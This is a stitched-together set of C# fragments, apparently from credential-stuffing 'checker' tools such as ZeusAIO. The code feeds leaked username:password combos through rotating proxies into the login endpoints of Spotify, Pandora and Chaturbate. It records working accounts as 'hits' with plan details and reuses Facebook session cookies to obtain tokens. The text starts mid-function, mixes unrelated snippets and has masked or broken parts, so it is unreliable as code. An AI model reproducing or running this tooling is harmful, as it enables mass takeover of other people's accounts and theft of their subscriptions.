strResponse.Contains( "\"The username you entered doesn't appear to belong to an account. Please check your username and try again.\",") || strResponse.Contains("\"Invalid Parameters\",")) { Program.Fails++; Program.TotalChecks++; } } catch (Exception) { Program.Combos.Add(text); } } } catch { Interlocked.Increment(ref Program.Errors); } } }
public bool Authorization() { if (!AccountData.Cookies.Any()) { return(false); } var storage = new CookieStorage(); foreach (var cookie in AccountData.Cookies) { try { if (cookie.name == "c_user") { actor_id = cookie.value; } storage.Add(new Cookie(cookie.name, cookie.value, cookie.path, cookie.domain)); } catch { continue; } } _request.Cookies = storage; if (EnableProxies) { _request.Proxy = _proxyProvider.GetProxy(); } var reconnectCount = 3; do { try { _request["Accept-Language"] = "en-US,en;q=0.9,ru-RU;q=0.8,ru;q=0.7"; _request["Origin"] = "https://www.facebook.com"; _request["Referer"] = "https://www.facebook.com/"; _request["content-type"] = "application/x-www-form-urlencoded"; var response = _request.Get("https://www.facebook.com/"); fb_dtsg = Regex.Match(response.ToString(), "\"token\":\"(.*?)\"").Groups[1].Value; if (!string.IsNullOrWhiteSpace(fb_dtsg)) { IsAuthorized = true; } else { IsAuthorized = false; } break; } catch (HttpException) { if (EnableProxies) { _request.Proxy = _proxyProvider.GetProxy();//Reconnecting to another proxy reconnectCount--; } else { break; } } catch { break; } } while (reconnectCount != 0); return(IsAuthorized); }
public static void Check() { for (;;) { if (Program.Proxyindex > Program.Proxies.Count() - 2) { Program.Proxyindex = 0; } try { Interlocked.Increment(ref Program.Proxyindex); using (var req = new HttpRequest()) { if (Combosindex >= Combos.Count()) { Program.Stop++; break; } Interlocked.Increment(ref Combosindex); var array = Combos[Combosindex].Split(':', ';', '|'); var text = array[0] + ":" + array[1]; try { switch (Program.ProxyType1) { case "HTTP": req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; case "SOCKS4": req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; case "SOCKS5": req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; } req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine( req.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((obj, cert, ssl, error) => (cert as X509Certificate2).Verify())); var cookieStorage_ = new CookieStorage(); req.AddHeader("Content-Type", "application/x-www-form-urlencoded"); req.Referer = "https://chaturbate.com/"; var text1 = EctwirVhw7(ref cookieStorage_); req.Cookies = cookieStorage_; if (text1 == "") { } var text2 = req.Post(new Uri("https://chaturbate.com/auth/login/?next=/"), new BytesContent(Encoding.Default.GetBytes("csrfmiddlewaretoken=" + text1 + "&username="******"&password="******"&next=%2F"))).ToString(); if (!text2.Contains("<th>Status:</th>") || text2.Contains("Please enter a correct username and password.")) { } var value = Regex.Match(text2, "<td>\n(.*?)\n<\\/td>").Groups[1].Value; var value2 = Regex.Match(text2, "<span class='tokencount' updatable-count>(.*?)<\\/span>") .Groups[1].Value; switch (value) { case "Basic Member" when value2 == "0": break; case "Anonymous" when value2 == "0": break; } } catch (Exception) { Program.Combos.Add(text); req.Dispose(); } } } catch { Interlocked.Increment(ref Program.Errors); } } }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest req = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { req.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { req.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { req.Proxy = Socks5ProxyClient.Parse(proxy); } req.IgnoreProtocolErrors = true; req.AllowAutoRedirect = false; req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify())); req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"); req.AddHeader("Pragma", "no-cache"); req.AddHeader("Accept", "*/*"); CookieStorage cookies = new CookieStorage(); string csrf = cookies.GetCookies("https://www.pandora.com/account/sign-in")["csrftoken"].Value; Console.WriteLine(csrf); req.AddHeader("accept", "application/json, text/plain, */*"); req.AddHeader("accept-encoding", "gzip, deflate, br"); req.AddHeader("accept-language", "en-US,en;q=0.9"); req.AddHeader("content-length", "98"); req.AddHeader("content-type", "application/json"); req.AddHeader("cookie", "csrftoken=" + csrf + ";"); req.AddHeader("origin", "https://www.pandora.com"); req.AddHeader("referer", "https://www.pandora.com/account/sign-in"); req.AddHeader("sec-fetch-dest", "empty"); req.AddHeader("sec-fetch-mode", "cors"); req.AddHeader("sec-fetch-site", "same-origin"); req.AddHeader("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36"); req.AddHeader("x-csrftoken", "" + csrf + ""); var res1 = req.Post("https://www.pandora.com/api/v1/auth/login", "{\"existingAuthToken\":null,\"username\":\"" + s[0] + "\",\"password\":\"" + s[1] + "\",\"keepLoggedIn\":true}", "application/json"); string text1 = res1.ToString(); if (text1.Contains("authToken")) { var Plan = Functions.LR(text1, "branding\":\"", "\"").FirstOrDefault(); if (Plan == "Pandora") { ZeusAIO.mainmenu.frees++; if (Config.config.LogorCui == "2") { Console.WriteLine("[FREE - PANDORA] " + s[0] + ":" + s[1], Color.OrangeRed); } Export.AsResult("/Pandora_frees", s[0] + ":" + s[1]); return(false); } else { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - PANDORA] " + s[0] + ":" + s[1] + " | Plan: " + Plan, Color.Green); } Export.AsResult("/Pandora_hits", s[0] + ":" + s[1] + " | Plan: " + Plan); return(false); } } else if (text1.Contains("AUTH_INVALID_USERNAME_PASSWORD")) { break; //bad } else { ZeusAIO.mainmenu.realretries++; goto Retry; } } } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
public string CreateAuthenticationCookie(int tenantId, Guid userId) { return(CookieStorage.EncryptCookie(tenantId, userId, null, null)); }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest req = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { req.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { req.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { req.Proxy = Socks5ProxyClient.Parse(proxy); } CookieStorage cookies = new CookieStorage(); string captchaResp = SpotifyGetCSRF(ref cookies, req.Proxy); if (captchaResp == "") { ZeusAIO.mainmenu.errors++; continue; } string csrf = cookies.GetCookies("https://accounts.spotify.com")["csrf_token"].Value; req.Cookies = cookies; req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36"; req.AddHeader("Content-Type", "application/x-www-form-urlencoded"); req.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); //req.AddHeader("Cookie", "__bon=MHwwfC0yODU4Nzc4NjN8LTEyMDA2ODcwMjQ2fDF8MXwxfDE=;"); cookies.Add(new System.Net.Cookie("__bon", "MHwwfC0yODU4Nzc4NjN8LTEyMDA2ODcwMjQ2fDF8MXwxfDE=", "/", "accounts.spotify.com")); req.Cookies = cookies; req.Referer = "https://accounts.spotify.com/en/login/?continue=https:%2F%2Fwww.spotify.com%2Fapi%2Fgrowth%2Fl2l-redirect&_locale=en-AE"; HttpResponse res = req.Post(new Uri("https://accounts.spotify.com/login/password"), new BytesContent(Encoding.Default.GetBytes($"remember=true&continue=https%3A%2F%2Fwww.spotify.com%2Fapi%2Fgrowth%2Fl2l-redirect&username={s[0]}&password={s[1]}&recaptchaToken={captchaResp}&csrf_token={csrf}"))); string strResponse = res.ToString(); if (strResponse.Contains("\"result\":\"ok\"")) { string capture = ""; for (int i2 = 0; i2 < 4 + 1; i2++) { capture = SpotifyGetCaptures(cookies); if (capture != "") { break; } } if (capture == "") { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - SPOTIFY] " + s[0] + ":" + s[1] + " | Capture Failed", Color.Green); } Export.AsResult("/Spotify_hits", s[0] + ":" + s[1] + " | Capture Failed"); return(false); } ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - SPOTIFY] " + s[0] + ":" + s[1] + " | " + capture, Color.Green); } Export.AsResult("/Spotify_hits", s[0] + ":" + s[1] + " | " + capture); return(false); } else if (strResponse.Contains("{\"error\":\"errorInvalidCredentials\"}")) { break; } else { ZeusAIO.mainmenu.realretries++; goto Retry; } } } catch (Exception e) { ZeusAIO.mainmenu.errors++; } } } return(false); }